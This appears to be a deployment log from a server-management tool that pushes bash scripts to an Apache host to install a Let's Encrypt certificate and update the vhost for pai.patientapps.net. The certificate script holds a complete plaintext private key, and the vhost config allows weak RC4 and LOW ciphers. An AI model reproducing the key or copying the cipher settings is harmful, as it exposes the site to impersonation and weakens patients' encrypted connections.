MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-05 19:17:22: Establishing a connection
2026-01-05 19:17:22: Establishing a connection
2026-01-05 19:17:23: 

PUT: /tmp/pkp112907

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-05 19:17:23: 

chmod 755 /tmp/pkp112907; /tmp/pkp112907; rm /tmp/pkp112907

2026-01-05 19:17:23: 


0


2026-01-05 19:17:48: Establishing a connection
2026-01-05 19:17:49: 

PUT: /tmp/pkp330962

#!/bin/bash
temp_file=$(mktemp)
TARGET=3f85a328a3b4d0829fd0b0b311b3007b.crt

cat > $temp_file <<'endmsg'
3a:03:7c:cd:f9:ec:a9:e0:e5:7b:dd:07:de:15:09:dc

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBbAv8x+Szk6grbiF0ovGE7hvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA1MTgxOTE4WhcNMjYwNDA1MTgxOTE3WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsjwJVh4zCWM/hiiFJcosWbY/68hGtAJZ9JnxE8WG7KfowXJeSYp11P6/
QK0QEmVq2ce9+RNYiRJfl5VGbBN+BQKz7xcK2VRDIWwZDQ1tVb+4o7GmeZBUBJeF
4J5Pv6CQ4MjplTRxsGhkJyBA+K4LICTokP2HLB3HJAcl2qnb4xOrsiPp9tr6zMuO
kAro9jpglnVUX371zvY5H0PhZGmLs44ZI4Tm2UFzYhh0F4Y2F6+8J5v3whRMAEc4
htq5atHoCEBa2LWJkLf7Y/8OVt2CyGdICiB28JATYj0Zyo03hcr7ep90nqjwr9Ej
nwMObug3/7NnhUPtacEhKyhreHQENQIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSKIOg0KzkXC1OglXxhT8kKPnl4azAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8xMTIuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB
+QD3AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbj5gY0AAA
BAMARzBFAiEAzU8XXTM833I1YpqxgBpovg89XPHzcnqTPqVvXRf7vAQCIH/eBHZE
dVb0ZKYquE1opZvfvDwiTmJdBsAyQn+tdvkqAH0AcX6V88I4im2x44RJPTHhWqli
CHYtQgDgBQzQZ7WmYeIAAAGbj5gZWwAIAAAFAAYX1YIEAwBGMEQCIG3DxXT6Ouq5
ap6Xz0k90UuY7UbdUFPuUBRS4eA9fJC8AiBYbfcqFjJ6tZQ41/OkC6CNAx0FlaCJ
fSeSagxup4e8xDANBgkqhkiG9w0BAQsFAAOCAQEAUyHMvScnBatiJq8poOKPTQVf
l/9EHXYhzdOqwTW0YIhuh3UayM/UvI71H7tdFN8lRDCg0VRtv7gDCd1uJRGC714P
vvNkMXDq63D4B34FllWaT/sY97H1QMdAsPAzKCi2qCELXwV3KdNwnK1eJWXnjAXh
as281X9a/HcaldvKME8spVKVlOLS6zIxuHSBS2FcMaeEOGBiOdGDzUp94ivjAYvg
piJR+X9rMj4rx6Cbge7ZxTOQjkZhTQ6C9u/Pbfyc4heHvDsHx8DPQmcNAE8OqHuE
vgVlADIP3tZeRp6F3jbTuNO3UzquLKtK5ALkA0tV7VE5ZZEJiMcEVH4wH+HLtw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyPAlWHjMJYz+G
KIUlyixZtj/ryEa0Aln0mfETxYbsp+jBcl5JinXU/r9ArRASZWrZx735E1iJEl+X
lUZsE34FArPvFwrZVEMhbBkNDW1Vv7ijsaZ5kFQEl4Xgnk+/oJDgyOmVNHGwaGQn
IED4rgsgJOiQ/YcsHcckByXaqdvjE6uyI+n22vrMy46QCuj2OmCWdVRffvXO9jkf
Q+FkaYuzjhkjhObZQXNiGHQXhjYXr7wnm/fCFEwARziG2rlq0egIQFrYtYmQt/tj
/w5W3YLIZ0gKIHbwkBNiPRnKjTeFyvt6n3SeqPCv0SOfAw5u6Df/s2eFQ+1pwSEr
KGt4dAQ1AgMBAAECggEAA/zOAhjd3d6LEH+ruA/KFF28haaKVvnuNJDwQyoMglwz
CYcyAUEM1a2SyfMi9teKccsDR/d9DISWW1XkQ/G61q1uKPr9WYDz4qx3O0wGZBvM
dKI6VyswhyhX0VrgNylhrYku4lp1Fh0zNGpQYvIwJ/YEkkS0Etb0kT7+Q5kuQGoO
Z6yy3XyAyjhEsVzPszWCfCqWJ5JI4B0ZBE2BtCBtF3x5qYNuW/TfvhO8RWV5eKHq
xyKgzTwqJoThtMnnHJWB0w0D+NAhJmtOhbkjEC7Z31TBB6+9pZgYgCK3mZdhz55I
labe8xbo8GPF0k8a0zrbKlQjt9Z6Jn6JdhAdPCBIlwKBgQDxKF1H08E9oK/H3bdz
cduZkmS5f4LtEukzqb9RJ96dDeVDrwOzXExC8pm/W8df+8lY/ZgbNFuZIUtmcMUC
ZZJrEp7JinRX5wLpdJu30QGXnlloRdlkLwDe+lqLIf/IQhkYAjO+RNssPJk2AQeM
TCJTVZk7l9v9I43dHCCtTrRmMwKBgQC9NEQ5xO1eEGY+3EQ7qKZ3Z7+id6Wndo10
KPCAiWTE4h8chN0DQYdBtFc/hE4BhzLAtxuUpIAGGQ6puV20ZC8xCT04CmFTo5ED
Vp+Mt69JTcmeFyCqYxI/+eybAEd/7RbvBIgxE3ot4XQUA8MDt6ZPHOKtojgprCiS
vFTzdhHz9wKBgQCsjZI5K8YwP4KnQvjZzNUxjHMv25Il6gsc4U+4VQvPWrr59Ad0
1gznNklWh+gfwLxwRXwJsyv7ZLxbv0LoFR9wJ7GgScY3g18tBjfJje5Su4YDuz7y
lUNNSNtyhFBNzSXBbQnzEbe1bmK+JnxtIajJ8gyjfGR3O3JtjIvBFfi0ywKBgGC4
+nPJ30qp+YsDEYKqGceK6yWEItQ0P+X1E9Wx5yjbK+ppZY7Hjfyh08Rtv276jZCF
Sv03BxeW8a8ESwnv+UwJHBms/MpEINrjCpdmQ56mvH4r9pAEK403F6S5hNO6AXJZ
D8J+4YPY8H1W2vfoh4WED8GR30I2d1tkGc2IO29LAoGBAKOtKvZ6jlUIaGPUMdo5
5xbMM1b8Q8BgcdoDnIGAnFPoxmw2VsSpvktl0zpoEbqVPctur5YRKQ7Ha98Rwy6b
5YxhOKi111d2Rlc6oMWVQ99DxlMF+V05Z/5Yq4P1UeGQdYDfDu6qDa7p2rcdDrNq
P2UQob3+Wj7CHR0DSk+U9ROP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-05 19:17:49: 

chmod 755 /tmp/pkp330962; /tmp/pkp330962; rm /tmp/pkp330962

2026-01-05 19:17:49: 


dir=/etc/ssl/certs


2026-01-05 19:17:49: 

PUT: /tmp/pkp288412

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_pai_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-05 19:17:49: 

chmod 755 /tmp/pkp288412; /tmp/pkp288412; rm /tmp/pkp288412

2026-01-05 19:17:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 43

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-05 19:17:49: 

PUT: /tmp/pkp600844

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_pai_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_pai_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_pai_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf= 1'
fi


2026-01-05 19:17:49: 

chmod 755 /tmp/pkp600844; /tmp/pkp600844; rm /tmp/pkp600844

2026-01-05 19:17:49: 




2026-01-05 19:17:49: 

PUT: /tmp/pkp599678

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-05 19:17:49: 

chmod 755 /tmp/pkp599678; /tmp/pkp599678; rm /tmp/pkp599678

2026-01-05 19:17:49: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-05 19:17:49: Establishing a connection
2026-01-05 19:17:49: 

PUT: /tmp/pkp602848

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-05 19:17:49: 

chmod 755 /tmp/pkp602848; /tmp/pkp602848; rm /tmp/pkp602848

2026-01-05 19:17:49: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
